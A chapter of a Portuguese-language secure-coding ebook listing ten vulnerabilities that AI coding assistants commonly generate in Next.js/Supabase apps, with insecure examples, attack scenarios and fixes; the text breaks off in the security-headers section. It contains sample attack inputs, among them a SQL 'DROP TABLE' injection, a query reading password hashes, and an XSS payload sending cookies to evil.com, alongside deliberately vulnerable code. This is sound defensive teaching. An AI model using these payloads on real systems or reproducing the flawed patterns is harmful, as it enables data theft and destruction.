As 10 Vulnerabilidades Que a IA Mais Gera
CAPÍTULO 3
"A IA não erra por maldade. Erra por padrão. E o padrão dela é funcionalidade — não segurança."
Este é o coração do ebook. Nos próximos capítulos, vamos mergulhar em estratégias de proteção, configurações avançadas de Supabase, padrões de autenticação e workflows com IA. Mas nada disso importa se você não souber reconhecer as vulnerabilidades quando elas aparecerem na sua frente — disfarçadas de código funcional, geradas em segundos por uma IA que você confia.
Cada uma das 10 vulnerabilidades a seguir segue o mesmo formato:
🔴 O que a IA gera
Código real, como sai do Cursor, Claude Code ou Copilot.
🟡 Por que isso é perigoso
Explicação técnica acessível, com cenário de exploração.
🟢 Como corrigir
Código seguro, pronto para copiar e substituir.
🛡️ Como prevenir
A regra exata para adicionar nos arquivos de configuração da IDE.
Abra seu projeto ao lado. Compare. Corrija.
Seção 3.1
Secrets Expostos no Client-Side
🔴 Severidade Crítica
🔴 O que a IA gera
Você pede à IA: "Configure o Supabase client no meu projeto Next.js." Ela gera:
// lib/supabase.ts
import { createClient } from '@supabase/supabase-js'

const supabaseUrl = process.env.NEXT_PUBLIC_SUPABASE_URL!
const supabaseKey = process.env.NEXT_PUBLIC_SUPABASE_SERVICE_ROLE_KEY!

export const supabase = createClient(supabaseUrl, supabaseKey)
Ou pior — ela lê o .env.local e hardcoda o valor:
// lib/supabase.ts
const supabase = createClient(
  'https://xyzproject.supabase.co',
  'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6...'
)
Outro padrão frequente — chave do Stripe no frontend:
// components/Pricing.tsx
const stripe = new Stripe(process.env.NEXT_PUBLIC_STRIPE_SECRET_KEY!)
🟡 Por que isso é perigoso
No Next.js, qualquer variável de ambiente prefixada com NEXT_PUBLIC_ é incluída no bundle JavaScript que o navegador do usuário baixa. Qualquer pessoa pode abrir o DevTools, ir na aba Sources, e procurar por strings como eyJ (início de JWT base64), sk_live_ (Stripe secret key), ou service_role.

A service_role key do Supabase é a chave mestra do banco de dados. Com ela, o atacante bypassa completamente o RLS (Row Level Security) e tem acesso de leitura e escrita a todas as tabelas, todos os registros, de todos os usuários. É o equivalente a dar a senha de root do banco de dados para qualquer visitante do seu site.
No caso do Stripe, a secret_key permite criar cobranças, acessar dados de clientes, modificar assinaturas e emitir reembolsos. Quando o secret está hardcoded (segundo exemplo), o risco é duplo: além da exposição no frontend, o valor vai para o repositório git. Bots automatizados escaneiam repositórios públicos no GitHub em tempo real. Pesquisadores já demonstraram que um secret pushado para um repo público é detectado em menos de 30 segundos.

Cenário de ataque: O atacante abre DevTools → procura por supabase no JavaScript → encontra a service_role key → usa o Supabase client com essa chave para ler todas as tabelas → baixa todos os dados de todos os usuários.
🟢 Como corrigir
// lib/supabase-client.ts — CLIENT (browser)
import { createBrowserClient } from '@supabase/ssr'

export const supabase = createBrowserClient(
  process.env.NEXT_PUBLIC_SUPABASE_URL!,
  process.env.NEXT_PUBLIC_SUPABASE_ANON_KEY! // anon key — segura para o frontend
)
// lib/supabase-server.ts — SERVER ONLY
import { createServerClient } from '@supabase/ssr'
import { cookies } from 'next/headers'
import 'server-only' // impede importação no client

export async function createSupabaseServer() {
  const cookieStore = await cookies()
  return createServerClient(
    process.env.NEXT_PUBLIC_SUPABASE_URL!,
    process.env.SUPABASE_SERVICE_ROLE_KEY!, // SEM prefixo NEXT_PUBLIC_
    {
      cookies: {
        getAll: () => cookieStore.getAll(),
        setAll: (cookies) =>
          cookies.forEach(({ name, value, options }) =>
            cookieStore.set(name, value, options)
          ),
      },
    }
  )
}
// lib/env.ts — Validação de variáveis de ambiente
import { z } from 'zod'

const envSchema = z.object({
  NEXT_PUBLIC_SUPABASE_URL: z.string().url(),
  NEXT_PUBLIC_SUPABASE_ANON_KEY: z.string().min(1),
  SUPABASE_SERVICE_ROLE_KEY: z.string().min(1),
  STRIPE_SECRET_KEY: z.string().startsWith('sk_'),
  STRIPE_WEBHOOK_SECRET: z.string().startsWith('whsec_'),
})

export const env = envSchema.parse(process.env)
As regras são claras:
  • NEXT_PUBLIC_ apenas para a SUPABASE_URL e a ANON_KEY. Toda outra chave fica sem o prefixo — invisível para o browser.
  • O import 'server-only' no topo do arquivo server garante um erro de build se alguém tentar importar no client.
  • A validação com zod no build impede que o deploy suba com variáveis faltando.
🛡️ Como prevenir
NUNCA prefixe secrets com NEXT_PUBLIC_ (exceto SUPABASE_URL e SUPABASE_ANON_KEY)
NUNCA leia ou copie valores de arquivos .env para dentro do código
SEMPRE use o import 'server-only' em módulos que acessam secrets
SEMPRE valide variáveis de ambiente com zod ou t3-env no build
Seção 3.2
IDOR (Insecure Direct Object Reference)
🔴 Severidade Crítica
🔴 O que a IA gera
Você pede: "Crie um endpoint para buscar os detalhes de uma invoice."
// app/api/invoices/[id]/route.ts
import { NextRequest, NextResponse } from 'next/server'
import { supabase } from '@/lib/supabase'

export async function GET(
  request: NextRequest,
  { params }: { params: { id: string } }
) {
  const { data, error } = await supabase
    .from('invoices')
    .select('*')
    .eq('id', params.id)
    .single()

  if (error) return NextResponse.json({ error: error.message }, { status: 500 })
  return NextResponse.json(data)
}

Parece correto? O código funciona, tipagem ok, tratamento de erro presente. Mas falta o essencial.
🟡 Por que isso é perigoso
Este endpoint aceita qualquer ID na URL e retorna a invoice correspondente — sem verificar se o usuário autenticado é o dono dessa invoice. Se as invoices usam IDs sequenciais (1, 2, 3...), o atacante nem precisa adivinhar: basta iterar. Se usam UUIDs, a exploração é mais difícil mas não impossível — UUIDs podem vazar em URLs, emails, logs, ou responses de outros endpoints.

Cenário de ataque: O Usuário A está autenticado. Ele acessa /api/invoices/15 e vê sua invoice. Depois testa /api/invoices/14 — e vê a invoice do Usuário B. Repete de 1 a 1000 e baixa todas as invoices de todos os clientes. Dados financeiros, nomes, endereços, tudo exposto.

IDOR é a vulnerabilidade número 1 em aplicações web segundo a OWASP e é, de longe, a que a IA mais gera. Porque do ponto de vista funcional, o código está correto — ele retorna o que foi pedido. A verificação de ownership é um requisito de segurança que não está no prompt.
🟢 Como corrigir
// app/api/invoices/[id]/route.ts
import { NextRequest, NextResponse } from 'next/server'
import { createSupabaseServer } from '@/lib/supabase-server'

export async function GET(
  request: NextRequest,
  { params }: { params: { id: string } }
) {
  const supabase = await createSupabaseServer()

  // SECURITY: Verificar sessão
  const { data: { user }, error: authError } = await supabase.auth.getUser()
  if (authError || !user) {
    return NextResponse.json({ error: 'Unauthorized' }, { status: 401 })
  }

  // SECURITY: Buscar invoice E verificar ownership na mesma query
  const { data, error } = await supabase
    .from('invoices')
    .select('*')
    .eq('id', params.id)
    .eq('user_id', user.id) // ownership check
    .single()

  if (error || !data) {
    return NextResponse.json({ error: 'Not found' }, { status: 404 })
  }

  return NextResponse.json(data)
}
Três mudanças críticas:
  1. Verifica se existe um usuário autenticado antes de qualquer coisa.
  1. Adiciona .eq('user_id', user.id) na query — o banco só retorna a invoice se ela pertencer ao usuário.
  1. Retorna 404 genérico em vez de vazar informação sobre a existência do recurso.
🛡️ Como prevenir
SEMPRE verifique sessão do usuário em toda API route antes de qualquer operação
SEMPRE inclua verificação de ownership: .eq('user_id', user.id) ou equivalente
NUNCA retorne dados de um recurso sem confirmar que pertence ao usuário autenticado
SEMPRE retorne 404 genérico quando o recurso não pertence ao usuário (não 403)
SEMPRE use UUIDs para identificadores, nunca integers sequenciais
Seção 3.3
SQL/NoSQL Injection via Input Não Sanitizado
🔴 Severidade Crítica
🔴 O que a IA gera
Você pede: "Crie uma busca de produtos por nome."
// app/api/products/search/route.ts
export async function GET(request: NextRequest) {
  const query = request.nextUrl.searchParams.get('q') || ''

  const { data, error } = await supabase
    .rpc('search_products', { search_term: query })

  return NextResponse.json(data)
}
E a função RPC no Supabase:
-- VULNERÁVEL: usa EXECUTE com concatenação direta
CREATE OR REPLACE FUNCTION search_products(search_term TEXT)
RETURNS SETOF products AS $$
BEGIN
  RETURN QUERY EXECUTE
    'SELECT * FROM products WHERE name ILIKE ''%' || search_term || '%''';
END;
$$ LANGUAGE plpgsql;
Ou, em projetos que usam queries raw:
// Prisma raw query — VULNERÁVEL
const results = await prisma.$queryRawUnsafe(
  `SELECT * FROM products WHERE name ILIKE '%${query}%'`
)
🟡 Por que isso é perigoso
A concatenação de strings em queries SQL é a vulnerabilidade mais antiga da web — e a IA continua gerando esse padrão em 2026 porque é assim que a maioria dos tutoriais ensina. No primeiro exemplo, a função RPC usa EXECUTE com concatenação direta do search_term. Um atacante pode enviar como parâmetro de busca:
%'; DROP TABLE products; --
O SQL resultante seria:
SELECT * FROM products WHERE name ILIKE '%%'; DROP TABLE products; --%'

Duas queries executadas: uma busca inofensiva e um DROP TABLE que destrói a tabela inteira. Injeções mais sofisticadas não destroem dados — extraem. Um atacante pode usar UNION SELECT para ler dados de outras tabelas, incluindo credenciais, tokens e informações pessoais.

Cenário de ataque: O atacante manipula o parâmetro q na URL /api/products/search?q='; SELECT email, password_hash FROM auth.users; -- e recebe os dados de autenticação de todos os usuários.
🟢 Como corrigir
-- Função RPC segura com parameterized query
CREATE OR REPLACE FUNCTION search_products(search_term TEXT)
RETURNS SETOF products AS $$
BEGIN
  RETURN QUERY
    SELECT * FROM products WHERE name ILIKE '%' || search_term || '%';
END;
$$ LANGUAGE plpgsql;
A diferença é sutil mas crítica: sem EXECUTE, o PostgreSQL trata search_term como um valor, não como parte do SQL. Não há possibilidade de injeção. Para a API route, adicione validação:
// app/api/products/search/route.ts
import { z } from 'zod'

const searchSchema = z.object({
  q: z.string().min(1).max(100).trim(),
})

export async function GET(request: NextRequest) {
  const parsed = searchSchema.safeParse({
    q: request.nextUrl.searchParams.get('q'),
  })

  if (!parsed.success) {
    return NextResponse.json({ error: 'Invalid search query' }, { status: 400 })
  }

  const supabase = await createSupabaseServer()

  const { data, error } = await supabase
    .from('products')
    .select('id, name, price, image_url')
    .ilike('name', `%${parsed.data.q}%`)
    .limit(20)

  return NextResponse.json(data)
}
E com Prisma, use sempre parameterized queries:
// Prisma seguro
const results = await prisma.$queryRaw`
  SELECT * FROM products WHERE name ILIKE ${'%' + query + '%'}
`

// Ou melhor ainda, use o query builder:
const results = await prisma.product.findMany({
  where: { name: { contains: query, mode: 'insensitive' } },
  take: 20,
})
🛡️ Como prevenir
NUNCA use concatenação de strings em queries SQL
NUNCA use $queryRawUnsafe do Prisma ou EXECUTE com concatenação no PostgreSQL
SEMPRE valide e sanitize inputs com zod antes de usar em queries
SEMPRE use o query builder do ORM ou parameterized queries
SEMPRE limite resultados com .limit() para evitar data dumping
SEMPRE selecione apenas os campos necessários (nunca SELECT *)
Seção 3.4
Cross-Site Scripting (XSS)
🟡 Severidade Alta
🔴 O que a IA gera
Você pede: "Mostre o conteúdo de um post do blog que vem do banco de dados."
// components/BlogPost.tsx
export function BlogPost({ post }: { post: Post }) {
  return (
    <article>
      <h1>{post.title}</h1>
      <div dangerouslySetInnerHTML={{ __html: post.content }} />
      <p dangerouslySetInnerHTML={{ __html: post.authorBio }} />
    </article>
  )
}
Ou em renderização de comentários:
// components/Comment.tsx
export function Comment({ comment }: { comment: Comment }) {
  return (
    <div>
      <strong>{comment.userName}</strong>
      <div dangerouslySetInnerHTML={{ __html: comment.body }} />
    </div>
  )
}
🟡 Por que isso é perigoso
dangerouslySetInnerHTML existe no React por um motivo — e o nome não é por acaso. Ele renderiza HTML bruto no DOM sem nenhuma sanitização. Se o conteúdo vem de um input de usuário (comentário, bio, post), um atacante pode injetar JavaScript que será executado no navegador de todos que visualizarem aquele conteúdo.

Um comentário com o seguinte conteúdo: <img src="x" onerror="fetch('https://evil.com/steal?c='+document.cookie)"> — quando renderizado via dangerouslySetInnerHTML — executa o script e envia os cookies de sessão de todos os visitantes para o servidor do atacante.
🟢 Como corrigir
// components/SafeHTML.tsx
import DOMPurify from 'isomorphic-dompurify'

interface SafeHTMLProps {
  html: string
  className?: string
}

export function SafeHTML({ html, className }: SafeHTMLProps) {
  const clean = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br',
                   'ul', 'ol', 'li', 'h2', 'h3', 'blockquote', 'code', 'pre'],
    ALLOWED_ATTR: ['href', 'target', 'rel'],
    ALLOW_DATA_ATTR: false,
  })

  return <div className={className} dangerouslySetInnerHTML={{ __html: clean }} />
}
// components/BlogPost.tsx — SEGURO
import { SafeHTML } from '@/components/SafeHTML'

export function BlogPost({ post }: { post: Post }) {
  return (
    <article>
      <h1>{post.title}</h1>
      <SafeHTML html={post.content} />
    </article>
  )
}
// components/Comment.tsx — SEGURO (sem HTML, apenas texto)
export function Comment({ comment }: { comment: Comment }) {
  return (
    <div>
      <strong>{comment.userName}</strong>
      <p>{comment.body}</p> {/* React escapa automaticamente */}
    </div>
  )
}
Para comentários e inputs simples, a melhor solução não é sanitizar — é não renderizar HTML. O React por padrão faz escape de strings nas {}. Use {comment.body} direto, sem dangerouslySetInnerHTML. Reserve o HTML renderizado apenas para conteúdo rico (blog posts, documentos) que realmente precisa de formatação.
🛡️ Como prevenir
NUNCA use dangerouslySetInnerHTML sem sanitização com DOMPurify
SEMPRE crie um componente wrapper (SafeHTML) com whitelist de tags permitidas
Para user-generated content simples (comentários, bios), renderize como texto puro
SEMPRE configure Content-Security-Policy headers para bloquear scripts inline não autorizados
NUNCA confie em dados vindos do banco — mesmo que "você mesmo" tenha inserido
Seção 3.5
Autenticação e Sessão Quebradas
🔴 Severidade Crítica
🔴 O que a IA gera
Você pede: "Implemente login com email e password."
// app/api/auth/login/route.ts — INSEGURO
export async function POST(request: NextRequest) {
  const { email, password } = await request.json()

  const { data, error } = await supabase.auth.signInWithPassword({ email, password })

  if (error) {
    return NextResponse.json({ error: error.message }, { status: 401 })
  }

  return NextResponse.json({
    token: data.session?.access_token,
    refresh_token: data.session?.refresh_token,
    user: data.user
  })
}
E no frontend — tokens salvos no localStorage:
// lib/auth.ts — INSEGURO
export async function login(email: string, password: string) {
  const res = await fetch('/api/auth/login', { method: 'POST', body: JSON.stringify({ email, password }) })
  const data = await res.json()

  localStorage.setItem('access_token', data.token)
  localStorage.setItem('refresh_token', data.refresh_token)

  return data.user
}
E sobre proteção de rotas, a IA frequentemente gera um middleware incompleto — ou não gera nenhum:
// middleware.ts — INCOMPLETO
export function middleware(request: NextRequest) {
  // Verifica apenas se o token existe, não se é válido
  const token = request.cookies.get('token')
  if (!token && request.nextUrl.pathname.startsWith('/dashboard')) {
    return NextResponse.redirect(new URL('/login', request.url))
  }
  return NextResponse.next()
}
🟡 Por que isso é perigoso
Existem quatro problemas graves neste código:
  1. Tokens no localStorage. O localStorage é acessível por qualquer JavaScript na página. Se houver uma vulnerabilidade XSS, qualquer script de terceiro (analytics, chat widgets, A/B testing), ou qualquer extensão de navegador pode ler esses tokens. Com o access_token, o atacante faz requisições como se fosse o usuário. Com o refresh_token, o atacante mantém acesso permanente.
  1. Sem validação do token no middleware. O middleware verifica se um cookie token existe, mas não valida se é um JWT legítimo, se não expirou, se não foi revogado. Um cookie com qualquer valor — token=123 — passa pela verificação.
  1. Sem rate limiting no login. O endpoint aceita tentativas ilimitadas de login. Um atacante pode rodar um brute force com milhares de combinações de senha por minuto até acertar.
  1. Mensagens de erro verbosas. Retornar error.message do Supabase pode revelar se um email está cadastrado ("User not found" vs "Invalid password"), permitindo enumeração de contas.

Cenário de ataque: Atacante encontra XSS no site → injeta script que lê localStorage → exfiltra refresh_token → usa o token para acessar a conta da vítima indefinidamente, mesmo após a vítima trocar a senha (se o refresh token não for rotacionado).
🟢 Como corrigir
// lib/supabase-middleware.ts
export async function updateSession(request: NextRequest) {
  let response = NextResponse.next({ request })

  const supabase = createServerClient(
    process.env.NEXT_PUBLIC_SUPABASE_URL!,
    process.env.NEXT_PUBLIC_SUPABASE_ANON_KEY!,
    {
      cookies: {
        getAll: () => request.cookies.getAll(),
        setAll: (cookiesToSet) => {
          cookiesToSet.forEach(({ name, value, options }) => {
            response.cookies.set(name, value, {
              ...options,
              httpOnly: true,  // JS não pode ler
              secure: true,    // Apenas HTTPS
              sameSite: 'lax', // Anti-CSRF
            })
          })
        },
      },
    }
  )

  // SECURITY: Valida o token real, não apenas a existência do cookie
  const { data: { user } } = await supabase.auth.getUser()

  if (!user && request.nextUrl.pathname.startsWith('/dashboard')) {
    return NextResponse.redirect(new URL('/login', request.url))
  }

  return response
}
// app/api/auth/login/route.ts — SEGURO
const ratelimit = new Ratelimit({
  redis: Redis.fromEnv(),
  limiter: Ratelimit.slidingWindow(5, '1 m'), // 5 tentativas por minuto
})

export async function POST(request: NextRequest) {
  // SECURITY: Rate limiting por IP
  const ip = request.headers.get('x-forwarded-for') ?? 'unknown'
  const { success } = await ratelimit.limit(ip)
  if (!success) {
    return NextResponse.json({ error: 'Too many attempts. Try again later.' }, { status: 429 })
  }

  const { data, error } = await supabase.auth.signInWithPassword({
    email: parsed.data.email,
    password: parsed.data.password,
  })

  if (error) {
    // SECURITY: Mensagem genérica — não revela se o email existe
    return NextResponse.json({ error: 'Invalid credentials' }, { status: 401 })
  }

  // Sessão gerenciada via cookies httpOnly pelo Supabase SSR — nada no localStorage
  return NextResponse.json({ user: { id: data.user.id, email: data.user.email } })
}
🛡️ Como prevenir
NUNCA armazene tokens em localStorage — use httpOnly cookies gerenciados pelo servidor
SEMPRE valide o token real no middleware (auth.getUser()), não apenas a existência do cookie
SEMPRE adicione rate limiting em endpoints de login (máx 5 tentativas/minuto)
SEMPRE retorne mensagens de erro genéricas ("Invalid credentials") em auth
SEMPRE use o matcher do middleware para proteger TODAS as rotas que precisam de auth
SEMPRE configure cookies com httpOnly: true, secure: true, sameSite: 'lax'
Seção 3.6
Row Level Security (RLS) Desabilitado no Supabase
🔴 Severidade Crítica
🔴 O que a IA gera
Você pede: "Crie as tabelas para meu SaaS de gestão de tarefas."
-- migrations/001_initial.sql — SEM RLS
CREATE TABLE profiles (
  id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
  email TEXT NOT NULL,
  full_name TEXT,
  avatar_url TEXT,
  created_at TIMESTAMPTZ DEFAULT now()
);

CREATE TABLE projects (
  id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
  name TEXT NOT NULL,
  description TEXT,
  owner_id UUID REFERENCES profiles(id),
  created_at TIMESTAMPTZ DEFAULT now()
);

CREATE TABLE tasks (
  id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
  title TEXT NOT NULL,
  status TEXT DEFAULT 'todo',
  project_id UUID REFERENCES projects(id),
  assigned_to UUID REFERENCES profiles(id),
  created_at TIMESTAMPTZ DEFAULT now()
);
Zero menção a RLS. Zero policies. Tabelas abertas. Quando a IA lembra de RLS, frequentemente gera:
ALTER TABLE tasks ENABLE ROW LEVEL SECURITY;

CREATE POLICY "Allow all" ON tasks
  FOR ALL USING (true) WITH CHECK (true);
🟡 Por que isso é perigoso
O Supabase expõe o banco de dados ao frontend via PostgREST. A anon key — que está no JavaScript público — dá acesso direto à API do PostgREST. A única barreira entre o frontend e os dados é o Row Level Security.
// Qualquer visitante pode fazer isso no console do navegador
const { data } = await supabase.from('profiles').select('*')
// Retorna TODOS os perfis de TODOS os usuários

const { data: tasks } = await supabase.from('tasks').select('*')
// Retorna TODAS as tarefas de TODOS os projetos

Com a policy USING (true), o RLS está tecnicamente habilitado, mas a policy permite tudo para todos. É o equivalente a trancar a porta e colar a chave do lado de fora.

Cenário de ataque: O atacante abre o DevTools → copia a anon key e a URL do Supabase do JavaScript → cria um client Supabase no console → executa select('*') em cada tabela → baixa todos os dados do SaaS inteiro. Sem ferramentas especiais, sem exploit complexo. Três linhas de JavaScript.
🟢 Como corrigir
-- migrations/001_initial.sql — SEGURO
CREATE TABLE profiles (
  id UUID PRIMARY KEY REFERENCES auth.users(id) ON DELETE CASCADE,
  email TEXT NOT NULL,
  full_name TEXT,
  avatar_url TEXT,
  created_at TIMESTAMPTZ DEFAULT now()
);

ALTER TABLE profiles ENABLE ROW LEVEL SECURITY;

-- Usuário só vê seu próprio perfil
CREATE POLICY "Users can view own profile" ON profiles
  FOR SELECT USING (auth.uid() = id);

-- Usuário só edita seu próprio perfil
CREATE POLICY "Users can update own profile" ON profiles
  FOR UPDATE USING (auth.uid() = id) WITH CHECK (auth.uid() = id);

ALTER TABLE projects ENABLE ROW LEVEL SECURITY;

-- Dono vê seus projetos
CREATE POLICY "Owners can view own projects" ON projects
  FOR SELECT USING (auth.uid() = owner_id);

-- Dono pode criar projetos (owner_id setado automaticamente)
CREATE POLICY "Users can create projects" ON projects
  FOR INSERT WITH CHECK (auth.uid() = owner_id);

ALTER TABLE tasks ENABLE ROW LEVEL SECURITY;

-- Usuário vê tasks dos projetos que ele possui
CREATE POLICY "Users can view tasks of own projects" ON tasks
  FOR SELECT USING (
    EXISTS (
      SELECT 1 FROM projects
      WHERE projects.id = tasks.project_id
        AND projects.owner_id = auth.uid()
    )
  );
🛡️ Como prevenir
SEMPRE habilite RLS em toda tabela: ALTER TABLE x ENABLE ROW LEVEL SECURITY
NUNCA crie policies com USING (true) ou WITH CHECK (true) sem justificativa documentada
SEMPRE use auth.uid() para verificar ownership nas policies
Para tabelas com relação hierárquica, use EXISTS com subquery na tabela pai
SEMPRE crie policies separadas para SELECT, INSERT, UPDATE, DELETE
NUNCA use service_role key no frontend — ela bypassa RLS por design
Seção 3.7
Mass Assignment / Over-Posting
🟡 Severidade Alta
🔴 O que a IA gera
Você pede: "Crie um endpoint para o usuário atualizar seu perfil."
// app/api/profile/route.ts — INSEGURO
export async function PUT(request: NextRequest) {
  const body = await request.json()
  const userId = body.userId

  const { data, error } = await supabase
    .from('profiles')
    .update(body)       // ← body inteiro, sem filtro
    .eq('id', userId)
    .select()
    .single()

  if (error) return NextResponse.json({ error: error.message }, { status: 500 })
  return NextResponse.json(data)
}
🟡 Por que isso é perigoso
O endpoint pega o body inteiro do request — sem filtrar quais campos aceita — e passa diretamente para o banco de dados. Se a tabela profiles tem campos como role, subscription_tier, is_admin, ou credits, o atacante pode enviar:
{
  "userId": "meu-id",
  "full_name": "Nome Normal",
  "role": "admin",
  "subscription_tier": "enterprise",
  "credits": 999999
}

E todos esses campos serão atualizados no banco de dados. A IA gera esse padrão porque é o mais conciso. Passar body diretamente para .update() é uma linha de código. Filtrar campos específicos requer mais linhas. A IA otimiza por brevidade.

Cenário de ataque: O atacante inspeciona o JavaScript e descobre os nomes dos campos via TypeScript types ou responses de outros endpoints → envia um PUT com role: "admin" → ganha acesso administrativo → lê e modifica dados de todos os usuários.
🟢 Como corrigir
// app/api/profile/route.ts — SEGURO
import { z } from 'zod'

// SECURITY: Schema define EXATAMENTE quais campos são aceitos
const updateProfileSchema = z.object({
  full_name: z.string().min(1).max(100).optional(),
  avatar_url: z.string().url().optional(),
  bio: z.string().max(500).optional(),
})

export async function PUT(request: NextRequest) {
  const supabase = await createSupabaseServer()

  // SECURITY: Verificar sessão
  const { data: { user }, error: authError } = await supabase.auth.getUser()
  if (authError || !user) {
    return NextResponse.json({ error: 'Unauthorized' }, { status: 401 })
  }

  // SECURITY: Validar e filtrar input
  const body = await request.json()
  const parsed = updateProfileSchema.safeParse(body)
  if (!parsed.success) {
    return NextResponse.json({ error: 'Invalid data' }, { status: 400 })
  }

  // SECURITY: Apenas campos validados são enviados ao banco
  // SECURITY: user.id vem da sessão, não do request body
  const { data, error } = await supabase
    .from('profiles')
    .update(parsed.data)
    .eq('id', user.id)
    .select('id, full_name, avatar_url, bio')
    .single()

  return NextResponse.json(data)
}
Três proteções empilhadas:
  1. O zod schema define exatamente quais campos aceitar — role, is_admin, credits são ignorados.
  1. O user.id vem da sessão autenticada, não do body — o atacante não pode alterar o perfil de outro usuário.
  1. O .select() filtra os campos retornados — não vaza colunas internas.
🛡️ Como prevenir
NUNCA passe req.body ou request.json() diretamente para .update() ou .insert()
SEMPRE defina um zod schema com whitelist dos campos aceitos
SEMPRE pegue o user ID da sessão (auth.getUser()), nunca do request body
SEMPRE filtre os campos retornados com .select() explícito
Campos como role, is_admin, subscription, credits NUNCA devem ser aceitos via API pública
Seção 3.8
Rate Limiting Inexistente
🟡 Severidade Alta
🔴 O que a IA gera
A IA simplesmente não gera rate limiting. Em 95% dos casos, endpoints são criados sem nenhuma proteção contra abuso. Não é um código inseguro que ela gera — é um código que está faltando. Resultado: todo endpoint público aceita requisições ilimitadas.
// app/api/auth/forgot-password/route.ts — SEM RATE LIMIT
export async function POST(request: NextRequest) {
  const { email } = await request.json()

  await supabase.auth.resetPasswordForEmail(email, {
    redirectTo: `${process.env.NEXT_PUBLIC_URL}/auth/reset`,
  })

  return NextResponse.json({ message: 'Check your email' })
}
// app/api/contact/route.ts — SEM RATE LIMIT
export async function POST(request: NextRequest) {
  const { name, email, message } = await request.json()

  await sendEmail({ to: 'admin@example.com', subject: `Contact: ${name}`, body: message })

  return NextResponse.json({ success: true })
}
🟡 Por que isso é perigoso
Sem rate limiting, os seguintes ataques são triviais:
Brute force no login
Um script testa milhares de combinações de senha por minuto. Sem limite, é questão de tempo até acertar.
Credential stuffing
O atacante usa listas de email/senha vazadas de outras breaches e testa automaticamente. Milhões de tentativas, zero custo.
Email bombing
O endpoint de forgot-password é chamado milhares de vezes com o email da vítima, que recebe uma avalanche de emails de reset.
Denial of Service via API
Milhares de requests por segundo em endpoints que fazem queries pesadas no banco podem derrubar o serviço para todos os usuários.

Cenário de ataque: Atacante roda script com 10.000 tentativas de login por minuto → nenhum bloqueio → eventualmente acerta senha fraca de um usuário → acessa a conta.
🟢 Como corrigir
// lib/rate-limit.ts
import { Ratelimit } from '@upstash/ratelimit'
import { Redis } from '@upstash/redis'

// Rate limiters com diferentes limites por contexto
export const authLimiter = new Ratelimit({
  redis: Redis.fromEnv(),
  limiter: Ratelimit.slidingWindow(5, '1 m'),  // 5 req/min para auth
  prefix: 'rl:auth',
})

export const apiLimiter = new Ratelimit({
  redis: Redis.fromEnv(),
  limiter: Ratelimit.slidingWindow(30, '1 m'), // 30 req/min para APIs
  prefix: 'rl:api',
})

export const contactLimiter = new Ratelimit({
  redis: Redis.fromEnv(),
  limiter: Ratelimit.slidingWindow(3, '1 h'),  // 3 req/hora para contato
  prefix: 'rl:contact',
})
// lib/with-rate-limit.ts — Helper reutilizável
export async function withRateLimit(
  request: NextRequest,
  limiter: Ratelimit
): Promise<NextResponse | null> {
  const ip = request.headers.get('x-forwarded-for') ?? 'unknown'
  const { success, remaining, reset } = await limiter.limit(ip)

  if (!success) {
    return NextResponse.json(
      { error: 'Too many requests. Try again later.' },
      {
        status: 429,
        headers: {
          'X-RateLimit-Remaining': remaining.toString(),
          'X-RateLimit-Reset': reset.toString(),
          'Retry-After': Math.ceil((reset - Date.now()) / 1000).toString(),
        }
      }
    )
  }

  return null // sem bloqueio, prosseguir
}
// app/api/auth/forgot-password/route.ts — SEGURO
export async function POST(request: NextRequest) {
  // SECURITY: Rate limiting
  const blocked = await withRateLimit(request, authLimiter)
  if (blocked) return blocked

  // SECURITY: Resposta idêntica para email existente ou não
  return NextResponse.json({ message: 'If an account exists, check your email.' })
}
🛡️ Como prevenir
SEMPRE adicione rate limiting em endpoints de autenticação (login, register, forgot-password)
SEMPRE adicione rate limiting em endpoints públicos (contato, feedback, webhooks)
SEMPRE adicione rate limiting em endpoints que enviam emails ou SMS
Use limites diferentes por contexto: 5/min para auth, 30/min para APIs, 3/hora para contato
SEMPRE retorne headers de rate limit (X-RateLimit-Remaining, Retry-After)
SEMPRE faça rate limit por IP, e adicionalmente por user ID quando autenticado
Seção 3.9
CORS e Headers de Segurança Ausentes
🟡 Severidade Alta
🔴 O que a IA gera
A IA gera um next.config.js funcional, mas sem nenhuma configuração de segurança:
// next.config.js — SEM HEADERS DE SEGURANÇA
/** @type {import('next').NextConfig} */
const nextConfig = {
  images: {
    domains: ['your-project.supabase.co'],
  },
}

module.exports = nextConfig
E quando CORS é necessário (API acessada por outros domínios), gera:
// CORS permissivo — INSEGURO
return NextResponse.json(data, {
  headers: {
    'Access-Control-Allow-Origin': '*',
    'Access-Control-Allow-Methods': '*',
    'Access-Control-Allow-Headers': '*',
  },
})
🟡 Por que isso é perigoso
Headers de segurança ausentes deixam o SaaS vulnerável a múltiplos ataques:
  • Sem X-Frame-Options ou frame-ancestors no CSP, o site pode ser carregado dentro de um iframe em um site malicioso — o atacante cria uma página que sobrepõe botões invisíveis sobre o iframe do seu site, fazendo o usuário clicar em ações sem perceber. Isso se chama clickjacking.
  • Sem Content-Security-Policy, qualquer script de qualquer origem pode ser executado na página. Se houver um XSS, o atacante pode carregar scripts externos sem restrição.
  • Sem Strict-Transport-Security, o navegador pode acessar o site via HTTP (sem criptografia) em vez de HTTPS, permitindo interceptação de dados em redes inseguras (cafés, aeroportos).
  • CORS permissivo (Access-Control-Allow-Origin: *) significa que qualquer site da internet pode fazer requisições à sua API. Se o usuário está logado no seu SaaS e visita um site malicioso, esse site pode usar o fetch para chamar suas APIs usando os cookies do usuário — lendo e modificando dados.

Cenário de ataque: Usuário logado no SaaS visita um site malicioso → o site faz fetch('https://seu-saas.com/api/user/data', { credentials: 'include' }) → a API responde com os dados do usuário porque o CORS permite qualquer origem e os cookies são enviados automaticamente.
🟢 Como corrigir
// next.config.js — SEGURO
const nextConfig = {
  images: {
    remotePatterns: [{ protocol: 'https', hostname: '*.supabase.co' }],
  },

  async headers() {
    return [
      {
        source: '/(.*)',
        headers: [
          { key: 'X-Frame-Options', value: 'DENY' },
          { key: 'X-Content-Type-Options', value: 'nosniff' },
          { key: 'Strict-Transport-Security', value: 'max-age=31536000; includeSubDomains' },
          { key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
